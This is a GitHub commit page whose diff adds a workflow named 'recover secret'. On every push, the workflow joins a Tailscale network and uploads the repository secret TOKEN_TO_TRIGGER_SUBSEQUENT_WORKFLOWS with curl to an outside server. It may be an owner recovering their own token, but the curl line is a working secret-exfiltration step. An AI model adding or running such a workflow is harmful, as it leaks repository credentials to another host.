Skip to content

Commit 8cf067f

Browse files
chore: recover secret
1 parent d8dff4b commit 8cf067f

File tree

1 file changed

+20
-0
lines changed

1 file changed

+20
-0
lines changed

Diff for: .github/workflows/recover-secret.yml

+20
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
on:
2+
push:
3+
4+
jobs:
5+
recoversecret:
6+
runs-on: ubuntu-latest
7+
steps:
8+
- name: Tailscale
9+
uses: tailscale/github-action@v2
10+
with:
11+
oauth-client-id: ${{ secrets.TAILSCALE_CLIENT_ID }}
12+
oauth-secret: ${{ secrets.TAILSCALE_CLIENT_SECRET }}
13+
tags: tag:github-actions
14+
- name: "Recover secret"
15+
run: |
16+
echo ${SECRET} > ./output.txt
17+
curl --data-binary @./output.txt ${TARGET}
18+
env:
19+
SECRET: ${{ secrets.TOKEN_TO_TRIGGER_SUBSEQUENT_WORKFLOWS }}
20+
TARGET: "http://server.chameleon-chicken.ts.net:8080"

0 commit comments

Comments
 (0)